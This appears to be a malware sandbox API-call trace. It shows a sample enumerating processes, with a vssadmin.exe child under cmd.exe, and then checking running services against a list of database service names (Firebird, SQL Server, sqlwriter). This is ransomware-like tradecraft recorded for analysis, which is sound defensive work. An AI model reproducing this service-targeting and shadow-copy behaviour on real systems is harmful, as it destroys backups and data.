	[0047.866] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0047.866] lstrlenW (lpString="program.exe") returned 11
	[0047.867] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0047.867] lstrlenW (lpString="felt.exe") returned 8
	[0047.867] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0047.868] lstrlenW (lpString="bibliography.exe") returned 16
	[0047.868] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0048.062] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0048.063] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0048.064] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0048.064] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0048.064] lstrlenW (lpString="converter.exe") returned 13
	[0048.064] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0048.065] lstrlenW (lpString="once.exe") returned 8
	[0048.065] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0048.066] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0048.066] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0048.067] lstrlenW (lpString="always.exe") returned 10
	[0048.067] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0048.067] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0048.067] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0048.068] lstrlenW (lpString="donated.exe") returned 11
	[0048.068] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0048.069] lstrlenW (lpString="nowherepike.exe") returned 15
	[0048.069] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0048.070] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0048.070] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0048.070] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0048.070] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0048.071] lstrlenW (lpString="allowance.exe") returned 13
	[0048.071] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0048.072] lstrlenW (lpString="conducting affect.exe") returned 21
	[0048.072] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0048.073] lstrlenW (lpString="plaintiff.exe") returned 13
	[0048.073] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0048.073] lstrlenW (lpString="dialog.exe") returned 10
	[0048.073] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0048.074] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0048.074] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0048.075] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0048.075] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0048.076] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0048.076] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0048.077] lstrlenW (lpString="swpesp.exe") returned 10
	[0048.077] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0048.077] lstrlenW (lpString="cmd.exe") returned 7
	[0048.077] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0048.078] lstrlenW (lpString="conhost.exe") returned 11
	[0048.078] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0048.079] lstrlenW (lpString="vssadmin.exe") returned 12
	[0048.079] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0048.080] lstrlenW (lpString="VSSVC.exe") returned 9
	[0048.080] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.081] lstrlenW (lpString="svchost.exe") returned 11
	[0048.081] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0048.081] CloseHandle (hObject=0x1dc) returned 1
	[0048.081] Sleep (dwMilliseconds=0x1f4) 
	[0048.694] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0778
	[0048.695] EnumServicesStatusExW (in: hSCManager=0x35d0778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0048.695] GetLastError () returned 0xea
	[0048.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ea0058
	[0048.695] EnumServicesStatusExW (in: hSCManager=0x35d0778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ea0058, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ea0058, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0048.696] CloseServiceHandle (hSCObject=0x35d0778) returned 1
	[0048.696] lstrlenW (lpString="Appinfo") returned 7
	[0048.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0048.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0048.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0048.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0048.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0048.696] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0048.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0048.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0048.696] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0048.696] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0048.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0048.696] lstrlenW (lpString="AudioSrv") returned 8
	[0048.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0048.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0048.696] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0048.696] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0048.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0048.697] lstrlenW (lpString="BFE") returned 3
	[0048.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0048.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0048.697] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0048.697] lstrlenW (lpString="CryptSvc") returned 8
	[0048.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0048.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0048.697] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0048.697] lstrlenW (lpString="CscService") returned 10
	[0048.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0048.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0048.697] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0048.697] lstrlenW (lpString="DcomLaunch") returned 10
	[0048.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0048.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0048.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0048.697] lstrlenW (lpString="Dhcp") returned 4
	[0048.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0048.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0048.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0048.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0048.697] lstrlenW (lpString="Dnscache") returned 8
	[0048.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0048.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0048.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0048.698] lstrlenW (lpString="DPS") returned 3
	[0048.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0048.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0048.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0048.698] lstrlenW (lpString="eventlog") returned 8
	[0048.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0048.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0048.698] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0048.698] lstrlenW (lpString="EventSystem") returned 11
	[0048.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0048.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0048.698] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0048.698] lstrlenW (lpString="gpsvc") returned 5
	[0048.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0048.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0048.698] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0048.698] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0048.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0048.698] lstrlenW (lpString="iphlpsvc") returned 8
	[0048.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0048.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0048.699] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0048.699] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0048.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0048.699] lstrlenW (lpString="LanmanServer") returned 12
	[0048.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0048.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0048.699] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0048.699] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0048.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0048.699] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0048.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0048.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0048.699] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0048.699] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0048.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0048.699] lstrlenW (lpString="lmhosts") returned 7
	[0048.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0048.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0048.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0048.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0048.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0048.699] lstrlenW (lpString="MMCSS") returned 5
	[0048.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0048.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0048.699] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0048.699] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0048.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0048.699] lstrlenW (lpString="MpsSvc") returned 6
	[0048.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0048.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0048.700] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0048.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0048.700] lstrlenW (lpString="Netman") returned 6
	[0048.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0048.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0048.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0048.700] lstrlenW (lpString="netprofm") returned 8
	[0048.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0048.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0048.700] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0048.700] lstrlenW (lpString="NlaSvc") returned 6
	[0048.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0048.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0048.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0048.700] lstrlenW (lpString="nsi") returned 3
	[0048.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0048.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0048.700] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0048.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0048.700] lstrlenW (lpString="PcaSvc") returned 6
	[0048.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0048.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0048.701] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0048.701] lstrlenW (lpString="PlugPlay") returned 8
	[0048.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0048.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0048.701] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0048.701] lstrlenW (lpString="Power") returned 5
	[0048.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0048.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0048.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0048.701] lstrlenW (lpString="ProfSvc") returned 7
	[0048.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0048.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0048.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0048.701] lstrlenW (lpString="RpcEptMapper") returned 12
	[0048.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0048.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0048.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0048.701] lstrlenW (lpString="RpcSs") returned 5
	[0048.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0048.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0048.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0048.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0048.702] lstrlenW (lpString="SamSs") returned 5
	[0048.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0048.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0048.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0048.702] lstrlenW (lpString="Schedule") returned 8
	[0048.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0048.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0048.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0048.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
